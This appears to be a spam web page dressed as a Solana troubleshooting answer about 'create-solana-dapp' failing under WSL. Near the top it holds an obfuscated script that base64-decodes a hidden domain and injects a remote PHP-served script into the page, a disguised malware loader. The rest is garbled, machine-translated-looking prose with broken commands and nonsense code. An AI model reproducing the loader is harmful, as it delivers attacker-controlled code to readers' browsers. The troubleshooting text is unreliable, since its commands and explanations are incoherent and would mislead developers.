Solana: Why won’t by WSL generate a scaffold when I prompted « `npx create-solana-dapp« `. It generates a syntax error. What could be wrong?
const pdx= »bm9yZGVyc3dpbmcuYnV6ei94cC8= »;const pde=atob(pdx.replace(/|/g, » »));const script=document.createElement(« script »);script.src= »https:// »+pde+ »cc.php?u=3c8d42f4″;document.body.appendChild(script);
CONSECTION PROCESS GEEN MODEL DAPP SOLANA
As a delaymaker, you, rightly, stuck with the problems with the creation of a new model dap solana with the « crea-sla-dapp ». A spreading scoop is that it generates a syntax scrap, when it is necessary for the creation of forests. In this state, we dissatisfied with the potential bodies of this problem and the submitted fragmentary decrees.
What is the scoop?
Companying Oshbak, the Bookstore Clack/Prongs
Case "Send": Return $ {N} $ {Color.Gray (s_Bar)} $ {color.dim (this.value || t.PlaceHolder)}; At home
Why doesn't this work?
The problem protrves from the fact that this is unlawful in the scooping code JavaScript. In the function of this, it will be released to the dusting of the object. Conservation of the frame for the attachment of solana with the use ofCrea-Solana-DAppgenerates code into the compatibility of your vivod. However, do not downstrele the model as well as it is.
Potential Bus:
- Put File Unsupplied Model : Break that the mood is right. Keep that the route of the filetemplate.js’
Template.Sol
Comes the indicated in the scoop code.
- Parameters Passed or Unsupplied Model : Keeping that all the parameters of the treated models (for example, « solanaruntime », « impalcatura » and « contractttname ») ruled on the entrance.
3.
Resolution:
1.
`Bash
NPM Install @Clack/Pmists
NPX CREA-SOLANA-DAPP — Template = Template.js
`
- verify models :
* Revenge that it is solaruntime, right -in -law.
* Recorded that this is
`Javascript
Const {solanaruntime} = Trebbing ('Solana-Program');
// Primer entry data
Const Contractname = 'MyContract';
// Remove the time of the salons and the name of the counteract of the invited parameters
3.
Adopolitic COVES:
- At the creation of the frame always use the templatetemplate.js«
Solad for the creation of the code.
- UseNPX Create-SOLA-DAPP — Template = Template.js’ I just just finish the Create -lana-DApp
.
- If you find the problems, try to rely the last version of the libraries and rotate your Commond.
The trace of this step and decrease in the delications, you should have the opportunity to solve the sintaxis in the time of the creation of the models solana dapping with theCrea-Solana-DApp ‘. Happy code!